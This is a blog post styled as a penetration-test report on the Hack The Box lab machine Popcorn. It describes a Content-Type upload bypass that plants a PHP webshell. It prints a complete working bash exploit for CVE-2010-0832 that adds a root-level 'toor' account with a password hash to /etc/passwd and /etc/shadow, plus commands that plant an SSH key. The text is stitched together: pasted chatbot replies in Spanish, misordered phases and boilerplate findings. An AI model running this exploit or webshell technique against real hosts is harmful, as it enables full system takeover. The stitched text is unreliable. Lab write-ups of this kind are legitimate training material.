DEV Community

Cover image for Security Assessment: Popcorn (Hack The Box) — Penetration Testing Report
AraizCorp
AraizCorp

Posted on

Security Assessment: Popcorn (Hack The Box) — Penetration Testing Report

Security Assessment Report: Popcorn

Hack The Box
Difficulty
OS
Standards
Assessor

Technical Security Assessment & Penetration Testing Report conducted on the target environment Popcorn hosted on Hack The Box, executed in accordance with PTES and NIST SP 800-115 and PTES (Penetration Testing Execution Standard) methodologies.


📑 1. Executive Summary

  • Assessment Objective: Identify, validate, and exploit security vulnerabilities across the target host to assess operational impact on confidentiality, integrity, and system availability.
  • Risk Rating: CRITICAL (Unauthenticated remote exploit vector leading to complete host compromise and administrative takeover).
  • Initial Access Vector: Torrent Hoster File Upload (Content-Type Bypass)
  • Privilege Escalation Vector: PAM MOTD Local Root (CVE-2010-0832)
  • Engagement Outcome: Complete Host Compromise (User Proof and Root / SYSTEM Proof successfully retrieved and verified).

Target Technical Specifications

Parameter Technical Detail
Target Host Popcorn
Platform Hack The Box
Operating System Linux
Difficulty Rating Medium
Associated CVE(s) CVE-2010-0832
Initial Foothold Vector Torrent Hoster File Upload (Content-Type Bypass)
Privilege Escalation Vector PAM MOTD Local Root (CVE-2010-0832)
Lead Penetration Tester Pedro Araiz (araizcorp)

🎯 2. Attack Path & Kill Chain Workflow

[ Phase 1: Reconnaissance & Port Scanning ]
         │─── TCP SYN scanning and service fingerprinting (Nmap)
         └─── Attack surface mapping and daemon enumeration
         │
         ▼
[ Phase 2: Vulnerability Analysis & Service Enumeration ]
         │─── Web directory fuzzing, parameter discovery, and banner analysis
         └─── CVE identification and credential harvesting
         │
         ▼
[ Phase 3: Exploitation & Initial Foothold ]
         │─── Exploit delivery: Torrent Hoster File Upload (Content-Type Bypass)
         └─── Establishing an interactive reverse shell with unprivileged user context
         │
         ▼
[ Phase 4: Local Privilege Escalation ]
         │─── Internal audit: PAM MOTD Local Root (CVE-2010-0832)
         └─── Elevation to superuser / administrator privileges (root / SYSTEM)
         │
         ▼
[ Phase 5: Evidence & Flag Retrieval ]
         └─── Capture and cryptographic verification of user.txt and root.txt
Enter fullscreen mode Exit fullscreen mode

🔬 3. Technical Walkthrough & Step-by-Step Proof of Concept


Phase 1: Reconnaissance & Port Scanning

El escaneo revela 2 puertos TCP abiertos: 22 (SSH) y 80 (HTTP Apache).

step_01.png

  • Technical Finding (Phase 1): Initial network reconnaissance and service detection exposing active daemons and communication endpoints.

Phase 2: Vulnerability Analysis & Attack Surface Mapping

Mediante directory fuzzing se descubre /torrent, una aplicacion de Torrent Hoster que permite subir y compartir archivos torrent.

step_02.png

  • Technical Finding (Phase 2): Attack surface enumeration, directory discovery, or parameter analysis identifying potential vulnerability vectors.

Phase 3: Exploitation & Initial Foothold

La aplicacion filtra las subidas usando la cabecera Content-Type. Se sube un torrent valido y luego se modifica la imagen del screenshot, subiendo un archivo PHP malicioso interceptando la peticion con Burp Suite y cambiando el Content-Type a image/png.

step_03.png

  • Assessment Step 03: Command execution output, exploit delivery proof, or auxiliary evidence.

step_04.png

  • Assessment Step 04: Command execution output, exploit delivery proof, or auxiliary evidence.

step_05.png

  • Assessment Step 05: Command execution output, exploit delivery proof, or auxiliary evidence.

Esto permite ejecutar comandos como www-data a traves del webshell PHP subido.

step_06.png

  • Assessment Step 06: Command execution output, exploit delivery proof, or auxiliary evidence.

Phase 5: Proof of Compromise & Flag Capture

User Proof Flag Verification

step_07.png

  • Assessment Step 07: Command execution output, exploit delivery proof, or auxiliary evidence.

Phase 4: Local Privilege Escalation & Host Dominance

El sistema es Ubuntu 9.10, vulnerable to CVE-2010-0832 (PAM MOTD local root). This vulnerability permite a un usuario normal obtener ownership de archivos arbitrarios mediante un symlink race condition en el directorio .cache durante el login SSH. Se abusa de esto para obtener escritura en /etc/passwd y /etc/shadow, creando un usuario con UID 0 y obteniendo shell como root.

step_08.png

  • Assessment Step 08: Command execution output, exploit delivery proof, or auxiliary evidence.

Root / System Proof Flag Verification

step_09.png

  • Privilege Escalation PoC (Phase 4): Exploitation of misconfiguration, SUID binary, or vulnerability leading to elevated privileges.

step_10.png

  • Evidence Verification (Phase 5): Final administrative validation confirming root/SYSTEM access and retrieval of system flags.

0) Arregla authorized_keys y permisos (como www-data)

bash
CopiarEditar
cd /var/www/.ssh
# corrige nombre si lo rompiste sin querer
[ -f authorized_keyssh ] && mv authorized_keyssh authorized_keys

# asegúrate de que exista y tenga la pública dentro
[ -f authorized_keys ] || touch authorized_keys
grep -F "$(cat hola.pub)" authorized_keys >/dev/null || cat hola.pub >> authorized_keys

# permisos estrictos
chmod 700 /var/www/.ssh
chmod 600 hola hola.pub authorized_keys
chmod go-w /var/www

Prueba que la clave entra (MUY importante especificar el usuario):

bash
CopiarEditar
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
    -o IdentitiesOnly=yes -i /var/www/.ssh/hola www-data@localhost true

Si pide password, pasa a verbose:

bash
CopiarEditar
ssh -vvv -o IdentitiesOnly=yes -i /var/www/.ssh/hola www-data@localhost true

(y pásame las líneas de Offering public key / Authentication si falla).


1) Reemplaza TODO tu 14339.sh por esto

bash
CopiarEditar
#!/bin/bash
# Ubuntu PAM MOTD local root (CVE-2010-0832) – versión usando clave existente

set -e

P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'

echo "[*] Ubuntu PAM MOTD local root"

KEY="/var/www/.ssh/hola"

# prerequisitos básicos
command -v ssh >/dev/null 2>&1 || { echo "[-] ssh requerido"; exit 1; }
ps -u root | grep -q sshd || { echo "[-] sshd debe estar corriendo"; exit 1; }
[ -r "$KEY" ] || { echo "[-] No puedo leer clave $KEY"; exit 1; }

backup() {
    [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
    [ -e "$1" ] || return 0
    mv "$1"{,.bak} || return 1
    echo "[*] Backuped $1"
}
restore() {
    [ -e "$1" ] && rm -rf "$1"
    [ -e "$1".bak ] || return 0
    mv "$1"{.bak,} || return 1
    echo "[*] Restored $1"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "$1" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' \
        -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
        -o IdentitiesOnly=yes -i "$KEY" www-data@localhost true
    [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; exit 1; }
    echo "[+] owned: $1"
}

backup ~/.cache || { echo "[-] No pude hacer backup de ~/.cache"; exit 1; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] No pude restaurar ~/.cache"; exit 1; }

echo "[+] Success! Usa password 'toor' para root (temporal)"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1 || true; bash" toor


🛡️ 4. Strategic Remediation & Hardening Roadmap

🛡️ Prioritized Findings, Attack Path Preconditions & Repeatable Verification

Finding & Precondition Attack Path Impact Remediation Action Repeatable Verification Command
P1: Torrent Hoster File Upload (Content-Type Bypass)
Precondition: Unauthenticated public web endpoint accepting unsanitized file uploads or parameter injection.
High / Critical (Foothold Chokepoint)
Altered the primary attack path by exposing unauthenticated remote access to internal context.
Deploy vendor security patches, disable PHP execution in static folders, and implement reverse proxy rate limits. curl -I -s -o /dev/null -w "HTTP Status: %{http_code}" http://$TARGET_IP/uploads/shell.php
P1: PAM MOTD Local Root (CVE-2010-0832)
Precondition: Missing kernel hotfixes, legacy software versions, or world-readable credential configuration files.
Critical (Full Compromise)
Enabled complete elevation of privileges from unprivileged user to superuser / administrator.
Apply OS kernel security updates and implement centralized secret management. `uname -r && apt-get -s upgrade

🔬 Repeatable Verification Procedures (Defensive Validation)

1. Verification for Ingress / Foothold Mitigation (Torrent Hoster File Upload (Content-Type Bypass)):

  • Validation Goal: Confirm the remote exploitation path is definitively closed and non-exploitable.
  • Deterministic Test Command: {% raw %}
curl -I -s -o /dev/null -w "HTTP Status: %{http_code}" http://$TARGET_IP/uploads/shell.php
Enter fullscreen mode Exit fullscreen mode
  • Expected Output upon Successful Remediation:
HTTP Status: 403 (Forbidden) or 404 (Not Found)
Enter fullscreen mode Exit fullscreen mode

2. Verification for Local Privilege Escalation Mitigation (PAM MOTD Local Root (CVE-2010-0832)):

  • Validation Goal: Enforce strict least-privilege boundary preventing local execution context from elevating to administrative/root privileges.
  • Deterministic Test Command:
uname -r && apt-get -s upgrade | grep -i security
Enter fullscreen mode Exit fullscreen mode
  • Expected Output upon Successful Remediation:
0 upgraded, 0 newly installed, 0 to remove (Fully patched kernel and packages)
Enter fullscreen mode Exit fullscreen mode

Immediate Tactical Actions (P1)

  1. Patch Management & Software Upgrades: Immediately apply official security updates and patches for all vulnerable software components and exposed services (CVE-2010-0832).
  2. Access Control & SUID Audit: Remove unnecessary SUID/SGID bits, audit /etc/sudoers rules, and enforce strict Access Control Lists (ACLs) on sensitive files and administrative scripts.
  3. Attack Surface Reduction: Configure host-based firewalls (e.g., iptables / ufw / Windows Firewall) to restrict exposure of management services and internal ports to trusted administrative subnets only.

Architectural & Defensive Hardening (P2)

  1. Principle of Least Privilege (PoLP): Ensure public-facing daemons run under dedicated low-privileged service accounts configured with non-interactive login shells (/sbin/nologin).
  2. Network Microsegmentation: Isolate production servers and database tiers within dedicated VLANs, enforcing stateful inspection and ingress/egress filtering on east-west traffic.
  3. Endpoint Detection & Telemetry (EDR): Implement centralized logging and behavior-based detection rules to capture anomalous process spawning, unauthorized script interpreter execution, and suspicious outbound socket connections.

📊 5. MITRE ATT&CK Enterprise Framework Mapping

Tactic Technique ID Technique Name Technical Application in Engagement
Reconnaissance T1595.002 Active Scanning: Vulnerability Scanning Automated and manual port scanning, banner grabbing, and service discovery
Initial Access T1190 Exploit Public-Facing Application Exploitation of exposed network/web service (Torrent Hoster File Upload (Content-Type Bypass))
Execution T1059 Command and Scripting Interpreter Interactive reverse shell execution and remote command dispatch
Privilege Escalation T1068 / T1548 Abuse Elevation Control Mechanism / Exploitation Local elevation to administrative/root privileges (PAM MOTD Local Root (CVE-2010-0832))

© 2026 araizcorp — Technical documentation and security assessment portfolio developed for enterprise penetration testing enablement, vulnerability research, and defensive hardening.

Top comments (0)